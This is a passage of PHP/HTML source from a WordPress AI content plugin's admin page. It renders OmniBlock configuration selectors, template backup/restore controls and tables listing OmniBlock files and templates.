esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'reddit_selector') { $community_types = array('auto' => 'Auto', 'link' => 'Link', 'self' => 'Text', 'image' => 'Image', 'video' => 'Video'); echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($community_types as $key => $modelx) { echo '<option value="' . esc_attr($key) .'"'; if($card_type['default_value'] == $key) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'method_selector') { $community_types = array('POST' => 'POST', 'GET' => 'GET', 'PUT' => 'PUT', 'DELETE' => 'DELETE'); echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($community_types as $key => $modelx) { echo '<option value="' . esc_attr($key) .'"'; if($card_type['default_value'] == $key) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'content_type_selector') { $community_types = array('JSON' => 'JSON', 'form' => 'Form Data'); echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($community_types as $key => $modelx) { echo '<option value="' . esc_attr($key) .'"'; if($card_type['default_value'] == $key) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'facebook_page_selector') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $store = get_option('fbomatic_page_ids', false); if($store !== FALSE) { $store = explode(',', $store); $fcount = count($store); for($i = 0; $i < $fcount; $i++) { $exploding = explode('-', $store[$i]); if(!isset($exploding[2])) { continue; } echo '<option value="' . esc_html($exploding[0]) . '"'; if($exploding[0] == $card_type['default_value']) { echo " selected"; } echo '>' . esc_html($exploding[2]) . '</option>'; } } else { echo '<option disabled value="">' . esc_html__('You need to set up the F-omatic plugin before using this feature!', 'aiomatic-automatic-ai-content-writer') . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'location_selector') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $locations = array('local' => 'local'); if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if (is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) { $locations['amazon'] = 'Amazon S3'; $locations['wasabi'] = 'Wasabi'; $locations['cloudflare'] = 'CloudFlare'; $locations['digital'] = 'Digital Ocean'; } foreach($locations as $id => $name) { echo '<option value="' . esc_html($id) . '"'; if($id == $card_type['default_value']) { echo " selected"; } echo '>' . ucfirst(esc_html($name)) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'select') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $values = $card_type['values']; foreach($values as $id => $name) { echo '<option value="' . esc_html($id) . '"'; if($id == $card_type['default_value']) { echo " selected"; } echo '>' . esc_html($name) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'file_type_selector') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $locations = array('txt' => 'txt', 'html' => 'html', 'doc' => 'doc', 'pdf' => 'pdf'); if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } foreach($locations as $id => $name) { echo '<option value="' . esc_html($id) . '"'; if($id == $card_type['default_value']) { echo " selected"; } if ($id == 'pdf' && !is_plugin_active('aiomatic-extension-pdf-files/aiomatic-extension-pdf-files.php')) { echo " disabled title='This option requires the Aiomatic Extension - PDF File Storage And Parsing to be active'"; } echo '>' . esc_html($name) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'file_selector') { if(empty($_GLOBALS['omni_files'])) { $_GLOBALS['omni_files'] = get_posts([ 'post_type' => 'aiomatic_omni_file', 'post_status' => 'publish', 'numberposts' => -1 ]); } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; if(empty($_GLOBALS['omni_files'])) { echo '<option disabled selected>' . esc_html__('No files added, add new files in the \'OmniBlock Files\' tab', 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value="random"'; if('random' == $card_type['default_value']) { echo " selected"; } echo '>' . esc_html__('Random', 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '<option value="latest"'; if('latest' == $card_type['default_value']) { echo " selected"; } echo '>' . esc_html__('Latest', 'aiomatic-automatic-ai-content-writer') . '</option>'; } foreach($_GLOBALS['omni_files'] as $id => $name) { echo '<option value="' . esc_html($name->ID) . '"'; if($name->ID == $card_type['default_value']) { echo " selected"; } echo '>' . esc_html($name->post_title) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'pinterest_board_selector') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $boards = get_option('pinterestomatic_public_boards', false); if($boards !== FALSE) { foreach($boards as $id => $name) { echo '<option value="' . esc_html($id) . '"'; if($id == $card_type['default_value']) { echo " selected"; } echo '>' . esc_html($name) . '</option>'; } } else { echo '<option disabled value="">' . esc_html__('You need to set up the Pinterestomatic plugin before using this feature!', 'aiomatic-automatic-ai-content-writer') . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'gpb_page_selector') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $boards = get_option('businessomatic_my_business_list', false); if($boards !== FALSE) { foreach($boards as $id => $name) { echo '<option value="' . esc_html($id) . '"'; if($id == $card_type['default_value']) { echo " selected"; } echo '>' . esc_html($name) . '</option>'; } } else { echo '<option disabled value="">' . esc_html__('You need to set up the Businessomatic plugin before using this feature!', 'aiomatic-automatic-ai-content-writer') . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'linkedin_page_selector') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $companies = get_option('linkedinomatic_my_companies', array()); if(is_array($companies) && count($companies) > 0) { foreach($companies as $cmp_id => $cmp_name) { if($cmp_name == 'Profile Page') { echo '<option value="' . esc_attr($cmp_id) . '"'; if($cmp_id == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html($cmp_name) . '</option>'; } else { echo '<option value="xxxLinkedinomaticxxx' . esc_attr($cmp_id) . '"'; if('xxxLinkedinomaticxxx' . $cmp_id == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html($cmp_name) . '</option>'; } } } else { echo '<option disabled value="">' . esc_html__('You need to set up the Linkedinomatic plugin before using this feature!', 'aiomatic-automatic-ai-content-writer') . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'language_selector') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $i = 0; foreach ($language_names as $lang) { echo '<option value="' . esc_html($language_codes[$i]) . '"'; if ($card_type['default_value'] == $language_codes[$i]) { echo ' selected'; } echo '>' . esc_html($language_names[$i]) . '</option>'; $i++; } if($deepl_auth != '') { $i = 0; foreach ($language_names_deepl as $lang) { echo '<option value="' . esc_html($language_codes_deepl[$i]) . '"'; if ($card_type['default_value'] == $language_codes_deepl[$i]) { echo ' selected'; } echo '>' . esc_html($language_names_deepl[$i]) . '</option>'; $i++; } } if($bing_auth != '') { $i = 0; foreach ($language_names_bing as $lang) { echo '<option value="' . esc_html($language_codes_bing[$i]) . '"'; if ($card_type['default_value'] == $language_codes_bing[$i]) { echo ' selected'; } echo '>' . esc_html($language_names_bing[$i]) . '</option>'; $i++; } } echo '</select>'; } elseif($card_type['type'] == 'format_selector') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_formats as $modelx => $namex) { echo '<option value="' . $modelx .'"'; if($modelx == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html($namex) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'url') { $randval = uniqid(); echo '<div class="main-holder-short" data-id-str="xai' . $randval . '">'; echo '<input type="url" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' ur' . esc_attr($urlrandval) . ' cr_width_full" id="xai' . $randval . '" value="' . esc_attr($card_type['default_value']) . '" placeholder="' . esc_html($card_type['placeholder']) . '">'; echo '<div class="shortcode-list" data-id-str="xai' . $randval . '"><p class="aishortcodes" data-index="" data-id-str="xai' . $randval . '" title="' . esc_html__('Main keyword shortcode', 'aiomatic-automatic-ai-content-writer') . '">%%keyword%%</p></div>'; echo '</div>'; } elseif($card_type['type'] == 'scraper_select') { echo '<select data-clone-index="xc' . uniqid() . '" autocomplete="off" id="sc' . $assistant_helper . '" class="' . esc_attr($name) . ' cr_width_full">'; echo '<option value="0"'; if('0' == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html__("WordPress (Default)", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '<option value="1"'; if('1' == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html__("PhantomJS (needs to be installed on server)", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '<option value="2"'; if('2' == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html__("Puppeteer (needs to be installed on server)", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '<option value="3"'; if('3' == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html__("Tor (needs to be installed on server)", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '<option value="4"'; if('4' == $card_type['default_value']) { echo ' selected'; } if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { echo ' title="' . esc_html__("This option is disabled. To enable it, add a HeadlessBrowserAPI Key in the plugin's 'Settings' menu.", 'aiomatic-automatic-ai-content-writer') . '" disabled'; } echo '>' . esc_html__("Puppeteer (HeadlessBrowserAPI)", 'aiomatic-automatic-ai-content-writer'); if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { echo esc_html__(' - to enable, add a HeadlessBrowserAPI key in the plugin\'s \'Settings\'', 'aiomatic-automatic-ai-content-writer'); } echo '</option>'; echo '<option value="5"'; if('5' == $card_type['default_value']) { echo ' selected'; } if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { echo ' title="' . esc_html__("This option is disabled. To enable it, add a HeadlessBrowserAPI Key in the plugin's 'Settings' menu.", 'aiomatic-automatic-ai-content-writer') . '" disabled'; } echo '>' . esc_html__("Tor (HeadlessBrowserAPI)", 'aiomatic-automatic-ai-content-writer'); if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { echo esc_html__(' - to enable, add a HeadlessBrowserAPI key in the plugin\'s \'Settings\'', 'aiomatic-automatic-ai-content-writer'); } echo '</option>'; echo '<option value="6"'; if('6' == $card_type['default_value']) { echo ' selected'; } if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { echo ' title="' . esc_html__("This option is disabled. To enable it, add a HeadlessBrowserAPI Key in the plugin's 'Settings' menu.", 'aiomatic-automatic-ai-content-writer') . '" disabled'; } echo '>'; echo esc_html__("PhantomJS (HeadlessBrowserAPI)", 'aiomatic-automatic-ai-content-writer'); if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { echo esc_html__(' - to enable, add a HeadlessBrowserAPI key in the plugin\'s \'Settings\'', 'aiomatic-automatic-ai-content-writer'); } echo '</option>'; echo '</select>'; } } $critical = false; if(isset($card_id['parameters']['critical']) && $card_id['parameters']['critical'] == '1') { $critical = true; } echo '<h4>' . esc_html__("Critical", 'aiomatic-automatic-ai-content-writer') . ': <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"><div class="bws_hidden_help_text cr_min_260px disable_drag">' . esc_html__("Set if this OmniBlock is critical or not. When a Critical OmniBlock fails to generate its content correctly and it fails, it will cause the entire OmniBlock running sequence to stop. Non-critical OmniBlocks when they fail, the execution of blocks will continue, the result of the failed OmniBlock will be blank.", 'aiomatic-automatic-ai-content-writer') . '</div></div>'; echo ' <input type="checkbox" class="critical-blocks" data-clone-index="xc' . uniqid() . '" id="critical-' . esc_attr($ublockid) . '"'; if($critical == true) { echo ' checked'; } echo '>'; echo '</h4>'; $disabled = false; if(isset($card_id['parameters']['disabled']) && $card_id['parameters']['disabled'] == '1') { $disabled = true; } echo '<h4>' . esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer') . ': <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"><div class="bws_hidden_help_text cr_min_260px disable_drag">' . esc_html__("Set if this OmniBlock is disabled or not. The disabled OmniBlocks will be skipped from processing.", 'aiomatic-automatic-ai-content-writer') . '</div></div>'; echo ' <input type="checkbox" class="disabled-blocks" data-clone-index="xc' . uniqid() . '" id="disabled-' . esc_attr($ublockid) . '"'; if($disabled == true) { echo ' checked'; } echo '>'; echo '</h4>'; echo '</div> <button disabled class="move-up-btn_new" title="Move Up"> <!-- SVG for move up --> <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-chevron-up" viewBox="0 0 16 16"> <path fill-rule="evenodd" d="M7.646 4.646a.5.5 0 0 1 .708 0L12 8.292a.5.5 0 0 1-.708.708L8 5.707V12.5a.5.5 0 0 1-1 0V5.707L4.707 9a.5.5 0 1 1-.708-.708l3.647-3.646z"/> </svg> </button> <button disabled class="move-down-btn_new" title="Move Down"> <!-- SVG for move down --> <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-chevron-down" viewBox="0 0 16 16"> <path fill-rule="evenodd" d="M7.646 11.354a.5.5 0 0 1-.708 0L3.293 7.707a.5.5 0 1 1 .708-.708L7 10.293V3.5a.5.5 0 0 1 1 0v6.793l2.999-3.294a.5.5 0 0 1 .708.708l-4 4.147z"/> </svg> </button> <button disabled class="delete-btn" title="' . esc_html__('Delete', 'aiomatic-automatic-ai-content-writer') . '">X</button><div class="ai_common_holder"><div class="step-number"></div><div class="aiomatic-run-now"></div><div class="id-shower"></div></div></li></li>'; } } } ?> </td> </tr> <tr> <td class="ai-flex"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px disable_drag"> <?php echo esc_html__("Select what type of block you want to add.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("OmniBlock Type To Add (Drag And Drop):", 'aiomatic-automatic-ai-content-writer');?></b> <div class="ai-right-flex"><button id="add-new-btn_new" class="button page-title-action" title="<?php echo esc_html__('Add the above OmniBlock to the Queue', 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_html__('Add OmniBlock', 'aiomatic-automatic-ai-content-writer');?></button></div> </td> <td> <select title="<?php echo esc_html__('Change the OmniBlock Type which is displayed, which will be able to be added to the OmniBlock Queue.', 'aiomatic-automatic-ai-content-writer');?>" class="cr_width_full" id="omni_select_block_type_new" onchange="aiBlockTypeChangeHandler_new('');"> <option value="" disabled selected><?php echo esc_html__("Select a block type to add", 'aiomatic-automatic-ai-content-writer');?></option> <?php $last_btype = ''; foreach ($default_block_types as $card_id) { if($card_id['category'] !== $last_btype) { echo '<option disabled value="">' . esc_html($card_id['category']) . '</option>'; $last_btype = $card_id['category']; } echo '<option value="' . sanitize_title($card_id['name']) . '">' . esc_html($card_id['name']) . '</option>'; } ?> </select> </td> </tr> </table> </div> </div> </div> <hr/> </div> </div> </div> </div> <div id="mymodalfzr_backup" class="codemodalfzr"> <div class="codemodalfzr-content"> <div class="codemodalfzr-header"> <span id="aiomatic_close_backup" class="codeclosefzr">×</span> <h2><span class="cr_color_white"><?php echo esc_html__("Backup/Restore OmniBlock Templates", 'aiomatic-automatic-ai-content-writer');?></span></h2> </div> <div class="codemodalfzr-body"> <div class="table-responsive"> <br/> <?php $aiomaticMaxFileSize = wp_max_upload_size(); ?> <hr/> <div class="aiomatic-loader-bubble"> <h3 class="margin5"><?php echo esc_html__("Restore OmniBlock Templates From File", 'aiomatic-automatic-ai-content-writer');?>: <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px disable_drag"> <?php echo esc_html__("Hit this button and you can restore OmniBlock Templates from file.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h3> <div class="aiomatic_omni_upload_form"> <table class="form-table"> <tbody> <tr> <th scope="row"><?php echo esc_html__("Backup File (*.json)", 'aiomatic-automatic-ai-content-writer'); ?></th> <td> <input type="file" id="aiomatic_omni_upload" accept=".json"> </td> </tr> <tr> <th scope="row"><?php echo esc_html__("Overwrite Existing", 'aiomatic-automatic-ai-content-writer'); ?></th> <td> <input type="checkbox" id="aiomatic_overwrite" value="1"> </td> </tr> <tr> <td colspan="2"> <div class="aiomatic_upload_success aiomatic_none margin5 colorgr"><?php echo esc_html__("File uploaded successfully you can view it in the OmniBlock Templates listing tab.", 'aiomatic-automatic-ai-content-writer'); ?></div> <div class="aiomatic_progress aiomatic_none"><span></span><small><?php echo esc_html__("Uploading", 'aiomatic-automatic-ai-content-writer'); ?></small></div> <div class="aiomatic-error-msg"></div> </td> </tr> <tr> <td colspan="2"> <button class="button button-primary coderevolution_block_input" id="aiomatic_omni_button"><?php echo esc_html__("Import OmniBlock Templates From File", 'aiomatic-automatic-ai-content-writer');?></button><br> <p class="cr_center"><?php echo esc_html__("Maximum upload file size", 'aiomatic-automatic-ai-content-writer'); ?>: <?php echo size_format($aiomaticMaxFileSize)?> </p> </td> </tr> </tbody> </table> </div> </div> <br/> <hr/> <div class="aiomatic-loader-bubble"> <div> <h3> <?php echo esc_html__('Backup Current OmniBlock Templates To File:', 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px disable_drag"> <?php echo esc_html__("Hit this button and you can backup the current OmniBlock Templates to file.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </h3> <form method="post" onsubmit="return confirm('Are you sure you want to download OmniBlock Templates to file?');"><input name="aiomatic_nonce" type="hidden" value="<?php echo wp_create_nonce('aiomatic_omni');?>"><input name="aiomatic_download_omni_to_file" type="submit" class="button button-primary coderevolution_block_input" value="Backup OmniBlock Templates To File"></form> </div> </div> <br/> <hr/> <div class="aiomatic-loader-bubble"> <h3 class="margin5"><?php echo esc_html__("Import Default OmniBlock Templates (This Can Take For A While)", 'aiomatic-automatic-ai-content-writer');?>: <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px disable_drag"> <?php echo esc_html__("Hit this button and the plugin will create the default OmniBlock Templates which come bundled with the plugin.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h3> <table class="form-table"> <tbody> <tr> <td colspan="2"> <button class="button button-primary coderevolution_block_input" id="aiomatic_omni_default_button"><?php echo esc_html__("Import Default OmniBlock Templates", 'aiomatic-automatic-ai-content-writer');?></button><br> </td> </tr> </tbody> </table> </div> <hr/> </div> </div> </div> </div> <div id="tab-4" class="tab-content"> <div class="wrap gs_popuptype_holder seo_pops"> <h2><?php echo esc_html__("Manage OmniBlock Files:", 'aiomatic-automatic-ai-content-writer');?></h2> <br/> <form method="post" enctype="multipart/form-data" onsubmit="return confirm('Are you sure you want to upload this file?');"> <label class="locationRemoteHide" for="aiomatic-file-upload-rules"><?php echo esc_html__("Select File To Upload:", 'aiomatic-automatic-ai-content-writer');?>  </label><input type="file" class="locationRemoteHide" id="aiomatic-file-upload-rules" name="aiomatic-file-upload-rules" value=""/> <label class="locationRemoteShow cr_none" for="aiomatic-file-remote-rules"><?php echo esc_html__("Link To Remote File:", 'aiomatic-automatic-ai-content-writer');?>  </label><input type="url" class="locationRemoteShow cr_none" placeholder="<?php echo esc_html__("Remote file URL", 'aiomatic-automatic-ai-content-writer');?>" id="aiomatic-file-remote-rules" name="aiomatic-file-remote-rules" value=""/>   <label for="aiomatic-file-upload-location"><?php echo esc_html__("Upload Location:", 'aiomatic-automatic-ai-content-writer');?>  </label> <select id="aiomatic-file-upload-location" name="aiomatic-file-upload-location" autocomplete="off" class="cr_width_auto" onchange="aiomatic_upload_selector_changing();"> <?php $locations = array('local' => 'local'); if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if (is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) { $locations['amazon'] = 'Amazon S3'; $locations['wasabi'] = 'Wasabi'; $locations['cloudflare'] = 'CloudFlare'; $locations['digital'] = 'Digital Ocean'; } $locations['remote'] = 'Remote Link'; foreach($locations as $id => $name) { ?> <option value="<?php echo esc_attr($id);?>" <?php if(esc_attr($id) == $value) { echo " selected"; } echo '>' . ucfirst(esc_html($name)) . '</option>'; } ?> </select> <br/><br/> <input name="aiomatic_nonce" type="hidden" value="<?php echo wp_create_nonce('aiomatic_omni');?>"> <button onclick="location.reload(); return false;" id="aiomatic_sync_omni_files" name="aiomatic_sync_omni_files" class="page-title-action"><?php echo esc_html__("Sync OmniBlock Files", 'aiomatic-automatic-ai-content-writer'); ?></button>  <button onclick="return aiomatic_upload_field_empty();" id="aiomatic_upload_omni_files" name="aiomatic_upload_omni_files" class="page-title-action"><?php echo esc_html__("Upload OmniBlock File", 'aiomatic-automatic-ai-content-writer'); ?></button>  <button href="#" id="aiomatic_delete_selected_files" class="page-title-action"><?php echo esc_html__("Delete Selected OmniBlock Files", 'aiomatic-automatic-ai-content-writer'); ?></button> </form> <?php $orderby = 'date'; $order = 'DESC'; if (isset($_GET['order']) && in_array(strtolower($_GET['order']), ['asc', 'desc'])) { $order = strtoupper($_GET['order']); } if (isset($_GET['orderby']) && in_array(strtolower($_GET['orderby']), ['title', 'date'])) { $orderby = strtolower($_GET['orderby']); } $aiomatic_omni_file_page = isset($_GET['wpage']) && !empty($_GET['wpage']) ? sanitize_text_field($_GET['wpage']) : 1; $aiomatic_omni_file = new WP_Query(array( 'post_type' => 'aiomatic_omni_file', 'posts_per_page' => 40, 'paged' => $aiomatic_omni_file_page, 'order' => $order, 'orderby' => $orderby, 'post_status' => 'any' )); if($aiomatic_omni_file->have_posts()){ echo '<br><br>' . esc_html__('All OmniBlock Files', 'aiomatic-automatic-ai-content-writer') . ' (' . $aiomatic_omni_file->found_posts . ')<br>'; } $current_order = filter_input(INPUT_GET, 'order', FILTER_DEFAULT) === 'asc' ? 'desc' : 'asc'; $title_url = add_query_arg([ 'orderby' => 'title', 'order' => $current_order ], $_SERVER['REQUEST_URI']); $date_url = add_query_arg([ 'orderby' => 'date', 'order' => $current_order ], $_SERVER['REQUEST_URI']); ?> <table class="wp-list-table widefat fixed striped table-view-list posts"> <thead> <tr> <th class="manage-column column-cb check-column aiomatic-tdcol" scope="col"><input class="aiomatic-chk" type="checkbox" id="checkedAllFiles"></th> <th scope="col"><a href="<?php echo esc_html($title_url); ?>"><?php echo esc_html__("Name", 'aiomatic-automatic-ai-content-writer'); ?><span class="dashicons <?php if(!isset($_GET['order'])){echo 'cr_none';}else{echo $order === 'ASC' ? 'dashicons-arrow-down' : 'dashicons-arrow-up';} ?>"></span></a></th> <th scope="col"><?php echo esc_html__("Location", 'aiomatic-automatic-ai-content-writer'); ?></th> <th scope="col"><a href="<?php echo esc_html($date_url); ?>"><?php echo esc_html__("Date", 'aiomatic-automatic-ai-content-writer'); ?><span class="dashicons <?php if(!isset($_GET['order'])){echo 'cr_none';}else{echo $order === 'ASC' ? 'dashicons-arrow-down' : 'dashicons-arrow-up';} ?>"></span></a></th> <th scope="col"><?php echo esc_html__("Manage", 'aiomatic-automatic-ai-content-writer'); ?></th> </tr> </thead> <tbody> <?php if($aiomatic_omni_file->have_posts()) { foreach ($aiomatic_omni_file->posts as $aiomatic_omni_f) { ?> <tr> <td><input class="aiomatic-select-omni-file" id="aiomatic-select-<?php echo $aiomatic_omni_f->ID;?>" type="checkbox" name="ids[]" value="<?php echo $aiomatic_omni_f->ID;?>"></td> <td><?php echo esc_html($aiomatic_omni_f->post_title);?></td> <td><?php $category_detail = get_the_terms($aiomatic_omni_f->ID, 'ai_file_type'); $categories_list = array(); if(is_array($category_detail)) { foreach($category_detail as $cd){ $categories_list[] = $cd->slug; } } if(empty($categories_list)) { echo '-'; } else { echo esc_html(implode(', ', $categories_list)); } ?></td> <td><?php echo esc_html($aiomatic_omni_f->post_date)?></td> <td> <div class="cr_center"> <form method="post"><input name="aiomatic_nonce" type="hidden" value="<?php echo wp_create_nonce('aiomatic_omni');?>"><input name="aiomatic_fid" type="hidden" value="<?php echo $aiomatic_omni_f->ID;?>"><a class="button button-small" target="_blank" href="<?php echo $aiomatic_omni_f->post_content;?>"><?php echo esc_html__("View", 'aiomatic-automatic-ai-content-writer');?></a> <input name="aiomatic_download_omni_file" type="submit" class="button button-small" value="Download"> <button class="button button-small button-link-delete aiomatic_delete_omni_file" id="aiomatic_delete_omni_file_<?php echo $aiomatic_omni_f->ID;?>" delete-id="<?php echo $aiomatic_omni_f->ID;?>"><?php echo esc_html__("Delete", 'aiomatic-automatic-ai-content-writer');?></button> </form> </div> </td> </tr> <?php } } else { echo '<tr><td colspan="5">' . esc_html__("No OmniBlock Files found. You can add more using the 'Upload OmniBlock File' button from above. You can also generate new files using OmniBlocks.", 'aiomatic-automatic-ai-content-writer') . '</td></tr>'; } ?> </tbody> </table> <div id="ai-video-containerx"><br/> <iframe class="ai-video" width="560" height="315" src="https://www.youtube.com/embed/gCbUO6Pf6ag" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> </div> <?php if($aiomatic_omni_file->have_posts() && $aiomatic_omni_file->max_num_pages > 1) { ?> <div class="aiomatic-paginate"> <?php echo esc_html__("Page: ", 'aiomatic-automatic-ai-content-writer') . paginate_links( array( 'base' => admin_url('admin.php?page=aiomatic_omniblocks&wpage=%#%'), 'total' => $aiomatic_omni_file->max_num_pages, 'current' => $aiomatic_omni_file_page, 'format' => '?wpage=%#%', 'show_all' => false, 'prev_next' => true, 'add_args' => false, )); ?> </div> <?php } ?> <br/></hr/><br/> </div> </div> <div id="tab-3" class="tab-content"> <div class="wrap gs_popuptype_holder seo_pops"> <h2><?php echo esc_html__("Manage OmniBlock Templates:", 'aiomatic-automatic-ai-content-writer');?></h2> <br/> <button id="aiomatic_manage_omni_templates" class="page-title-action"><?php echo esc_html__("Add New OmniBlock Template", 'aiomatic-automatic-ai-content-writer'); ?></button> <button id="aiomatic_backup_templates" class="page-title-action"><?php echo esc_html__("Backup/Restore OmniBlock Templates", 'aiomatic-automatic-ai-content-writer'); ?></button> <button href="#" id="aiomatic_delete_selected_templates" class="page-title-action"><?php echo esc_html__("Delete Selected OmniBlock Templates", 'aiomatic-automatic-ai-content-writer'); ?></button> <?php $aiomatic_omni_template_page = isset($_GET['wpage']) && !empty($_GET['wpage']) ? sanitize_text_field($_GET['wpage']) : 1; $aiomatic_omni_temp = new WP_Query(array( 'post_type' => 'aiomatic_omni_temp', 'posts_per_page' => 40, 'paged' => $aiomatic_omni_template_page, 'order' => $order, 'orderby' => $orderby, 'post_status' => 'any' )); if($aiomatic_omni_temp->have_posts()){ echo '<br><br>' . esc_html__('All OmniBlock Templates', 'aiomatic-automatic-ai-content-writer') . ' (' . $aiomatic_omni_temp->found_posts . ')<br>'; } ?> <table class="wp-list-table widefat fixed striped table-view-list posts"> <thead> <tr> <th class="manage-column column-cb check-column aiomatic-tdcol" scope="col"><input class="aiomatic-chk" type="checkbox" id="checkedAll"></th> <th scope="col"><a href="<?php echo esc_html($title_url); ?>"><?php echo esc_html__("Name", 'aiomatic-automatic-ai-content-writer'); ?><span class="dashicons <?php if(!isset($_GET['order'])){echo 'cr_none';}else{echo $order === 'ASC' ? 'dashicons-arrow-down' : 'dashicons-arrow-up';} ?>"></span></a></th> <th scope="col"><?php echo esc_html__("Category", 'aiomatic-automatic-ai-content-writer'); ?></th> <th scope="col"><a href="<?php echo esc_html($date_url); ?>"><?php echo esc_html__("Date", 'aiomatic-automatic-ai-content-writer'); ?><span class="dashicons <?php if(!isset($_GET['order'])){echo 'cr_none';}else{echo $order === 'ASC' ? 'dashicons-arrow-down' : 'dashicons-arrow-up';} ?>"></span></a></th> <th scope="col"><?php echo esc_html__("Manage", 'aiomatic-automatic-ai-content-writer'); ?></th> </tr> </thead> <tbody> <?php if($aiomatic_omni_temp->have_posts()) { foreach ($aiomatic_omni_temp->posts as $aiomatic_omni_template) { ?> <tr> <td><input class="aiomatic-select-omni-template" id="aiomatic-select-<?php echo $aiomatic_omni_template->ID;?>" type="checkbox" name="ids[]" value="<?php echo $aiomatic_omni_template->ID;?>"></td> <td><?php echo esc_html($aiomatic_omni_template->post_title);?></td> <td><?php $category_detail = get_the_terms($aiomatic_omni_template->ID, 'ai_template_categories'); $categories_list = array(); if(is_array($category_detail)) { foreach($category_detail as $cd){ $categories_list[] = $cd->slug; } } if(empty($categories_list)) { echo '-'; } else { echo esc_html(implode(', ', $categories_list)); } ?></td> <td><?php echo esc_html($aiomatic_omni_template->post_date)?></td> <td> <div class="cr_center"> <button class="button button-small 